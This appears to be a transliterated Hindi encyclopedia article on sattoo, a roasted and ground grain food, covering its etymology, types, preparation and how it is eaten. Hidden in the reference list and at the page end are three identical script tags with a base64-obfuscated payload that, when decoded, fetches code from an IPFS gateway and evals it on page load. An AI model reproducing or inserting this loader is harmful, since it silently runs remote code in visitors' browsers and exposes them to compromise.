सत्तू
thumb|sattoo ka ghol sattoo ek prakar ka vyanjan hai jo chana, makee ya jau vagairah ko baloo mean bhoonane ke bad usako ata-chakki mean pisakar banaya jata hai. uttar bharat (mukhyat: bihar aur uttar pradesh) mean yah kafi lokapriy hai aur kee roopoan mean prayukt hota hai. samanyataya yah choorn ke roop mean rahata hai jise pani mean gholakar ya any roopoan mean khaya athava piya jata hai. sattoo ke sookhe (choorn) tatha ghol donoan hi roop ko sattoo kahate haian. grishmakal shuroo hote hi bharat mean adhikaansh log sattoo ka prayog karate haian. khasakar door-daraj ke chhote kshetroan v kasboan mean yah bhojan ka kam karata hai. chane vale sattoo mean protin ki matra adhik hoti hai aur makee vale sattoo mean karbohaidret ki matra adhik hoti hai. in donoan prakar ke sattoo ka akele-akele ya donoan ko kisi bhi anupat mean milakar sevan kiya ja sakata hai.
any nam
[[chitr:Chickpea-1.jpg|left|thumb|chane ki dal]] bharat ki lagabhag sabhi ary bhashaoan mean sattoo shabd ka prayog milata hai, jaise pali prakrit mean sattoo, prakrit aur bhojapuri mean satua, kashmiri mean sotu, kumaanooni mean satu-sattoo, panjabi mean sattoo, sindhi mean saantoo, gujarati mean satu tatha hindi mean sattoo evan satua. yah sattoo nam se bana banaya bazar mean milata hai. gu d ka sattoo v shakkar ka sattoo donoan apane svad ke anusar logoan mean prasiddh haian. sattoo ek aisa ahar hai jo banane, khane mean saral hai, sasta hai, sharir v svasthy ke lie labhakari hai aur nirapad bhi hai.[1]
sattoo ka arth
[[chitr:Wheat-1.jpg|thumb|gehooan]] sattoo bana hai sanskrit ke saktu ya saktukah se jisaka arth hai anaj ko bhoonane ke bad use pis kar banaya gaya ata. prachinakal mean bharat mean jau ka prachalan adhik tha. gehooan ka istemal badhane ke bad sattoo mean isaki anivaryata bhi badh gee. gehooan ke sthan par makee ka prayog bhi hota hai. sanskrit ke saktu ya saktuk ka janm hua hai sanjh ya sanjh dhatu mean ktinh pratyay lagane se, jisamean milane, ju dane, sanyukt hone, sanlagn hone ka bhav hai. kram kuchh yooan raha hoga-saktukah >sattukah > sattua > sattoo / satua. isi tarah jak dana, chipatana, chipakana, sampark mean ana adi arth bhi isamean nihit haian. spasht hai ki ek doosare mean milana, jo dana hi isamean pramukh bhav haian. sattoo ke arth mean kinhian anajoan ko apas mean milane aur pis kar ekakar karane mean sanjh dhatu mean nihit bhav spasht hai. sanjh ya sanjh dhatu ka 'j' darasal sanskrit ki yu dhatu ka agala roop raha hoga. sanskrit ki yu dhatu bharopiy bhasha parivar ki adidhatuoan mean hai jisaka vistar bharatiy bhashaoan ke alava kee videshi bhashaoan mean hua hai. kul milakar sattoo bhi ek kism ka juga d hi hai. y varn j mean hi tabdil hota hai jaise yog se jog ka roopaantar. sanjh mean isi yu ki arthachhaya nazar a rahi hai. baharahal. saktu ki tarah sanjh dhatu mean kt pratyay lagane se sakt bhi bana hai jisamean ju dana, chipakina, bhakt, sanbandh hona, jaise bhav haian. sakt ka svatantr prayog hindi mean nahian hota magar isamean a upasarg lagane se bane asakt ka prayog prem, anurag, anurakt hone ke sandarbh mean khoob hota hai. asakti ka arth hai kisi se prem sanbandhi ju dav. anasaktti mean vairagy ya udasinata ka bhav hai.[2]
sattoo ke prakar
[[chitr:Barley.jpg|left|thumb|jau]]
jau ka sattoo
jau ka sattoo shital, agni pradipak, halka, dastavar (kabjanashak), kaf tatha pitt ka shaman karane vala, rookha hota hai. ise jal mean gholakar pine se yah balavarddhak, poshak, pushtikarak, mal bhedak, triptikarak, madhur, ruchikarak aur pachane ke bad turant shakti dayak hota hai. yah kaf, pitt, thakavat, bhookh, pyas aur netr vikar nashak hota hai.
jau-chane ka sattoo
chane ko bhoonakar, chhilaka hatakar pisava lete haian aur chauthaee bhag jau ka sattoo mila lete haian. yah jau chane ka sattoo hai. is sattoo ko pani mean gholakar, ghi-shakkar milakar pina grishmakal mean bahut hitakari, tripti dayak, shitalata dene vala hota hai.
chaval ka sattoo
chaval ka sattoo agnivarddhak, halaka, shital, madhur grahi, ruchikari, balaviryavarddhak, grishm kal mean sevan yogy uttam pathy ahar hai.
jau-gehooan chane ka sattoo
chane ki dal ek kilo, gehooan adha kilo aur jau 200 gram. tinoan ko 7-8 ghante pani mean galakar sukha lete haian aur jau ko saph karake tinoan ko alag- alag ghar mean ya bh dabhooanje ke yahaan bhunava kar, tinoan ko mila lete haian aur pisava lete haian. yah gehooan, jau, chane ka sattoo hai.[1]
sattoo banane ki vidhi
[[chitr:Maize-Grains.jpg|thumb|makka ke dane]]
- sarvapratham chane ko pani mean bhigane ke liye rakh diya jata hai.
- usake pashchat inhean sukhane ke bad baloo mean bhoona jata hai.
- isake bad ise bhoone hue masaloan, yatha jira, kali mirch ityadi ke sath pisa jata hai.
- sattoo sirph chane ka hi nahian jau se bhi banaye jate haian. jau ke sattoo ke liye bhi uparokt prakriya hi apanayi jati hai.
sevan vidhi
uparokt diye gaye kisi bhi sattoo ko patala pey banakar pi sakate haian ya lapsi ki tarah gadha rakhakar chammach se kha sakate haian. ise mitha karana ho to uchit matra mean shakkar ya gu d pani mean gholakar sattoo isi pani se gholean. namakin karana ho to uchit matra mean pisa jira v namak pani mean dalakar isi pani mean sattoo gholean. ichchha ke anusar ise patala ya gadha rakh sakate haian. sattoo apane ap mean poora bhojan hai, yah ek supachy, halaka, paushtik aur triptidayak shital ahar hai, isilie isaka sevan grishm kal mean kiya jata hai.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 sattoo : svadisht aur paushtik ahar (hiandi) vebaduniya hiandi. abhigaman tithi: 13 aprॅl, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sattoo-prem ya sattoo-asakti… (hiandi) shabdoan ka safar. abhigaman tithi: 13 aprॅl, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>